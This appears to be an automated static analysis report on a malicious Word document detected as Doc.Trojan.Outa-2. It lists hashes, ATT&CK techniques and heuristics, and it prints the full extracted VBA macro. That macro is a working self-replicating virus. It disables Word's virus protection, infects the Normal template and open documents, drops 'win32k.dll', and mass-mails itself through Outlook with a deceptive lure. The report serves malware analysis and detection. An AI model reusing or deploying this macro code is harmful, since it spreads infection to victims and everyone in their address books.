Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e677bd2c4a9dfc69…

MALICIOUS

Office (OLE)

35.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a71de6da4fd7cabfaea5530931321864 SHA-1: 31d93a0ebc35b7bbb689b036ba6c8bbf731d18cb SHA-256: e677bd2c4a9dfc6925ab772780e1ef95d4906b456f56ee6ad0bdf458c759a5b5
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to the Normal template and other open documents using the `Application.OrganizerCopy` method, which is a common technique for establishing persistence or spreading the infection. The macro also attempts to export a component to a file named 'win32k.dll' in the system directory. The ClamAV detection further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Outa-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Outa-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2389 bytes
SHA-256: 9187dc330efa769b8c10ea752ea5936640d086a0cebf4ca580e474714afc9662
Detection
ClamAV: Doc.Trojan.Outa-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Module1", Object:=wdOrganizerObjectProjectItems
End Sub
Sub FileSave()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set DirSys = fso.GetSpecialFolder(1)
vcode = DirSys & "\win32k.dll"
ThisDocument.VBProject.VBComponents(2).Export (vcode)
If NormalTemplate.VBProject.VBComponents.Count = 2 Then
    NormalTemplate.VBProject.VBComponents(2).Export (vcode)
End If
For i = 1 To Documents.Count
    installed = False
    If Documents(i).VBProject.VBComponents.Count = 2 Then
        If Documents(i).VBProject.VBComponents(2).Name = "Module1" Then
            installed = True
        End If
    End If
    If installed = False Then
        Documents(i).VBProject.VBComponents.Import (vcode)
        Documents(i).Save
    End If
Next
If ActiveDocument.VBProject.VBComponents.Count = 2 Then
    If ActiveDocument.VBProject.VBComponents(2).Name = "Module1" Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Module1", Object:=wdOrganizerObjectProjectItems
    End If
End If
NormalTemplate.Save
Set Outlook = CreateObject("Outlook.Application")
Set mapi = Outlook.GetNameSpace("MAPI")
ThisDocument.Save
doc = ThisDocument.FullName
For i = 1 To mapi.AddressLists.Count
    Set a = mapi.AddressLists(i)
    For x = 1 To a.AddressEntries.Count
        Set newMail = Outlook.CreateItem(0)
        newMail.Recipients.Add (a.AddressEntries(x))
        newMail.Subject = "You should look at this"
        newMail.Body = "Hello," & vbCrLf & "I found these files on my HDD and it seems it's yours. Please check them out and give me know." & vbCrLf & "Thank you."
        newMail.Attachments.Add (DirSys & "\next.exe")
        newMail.Attachments.Add (doc)
        newMail.Send
    Next
Next
End Sub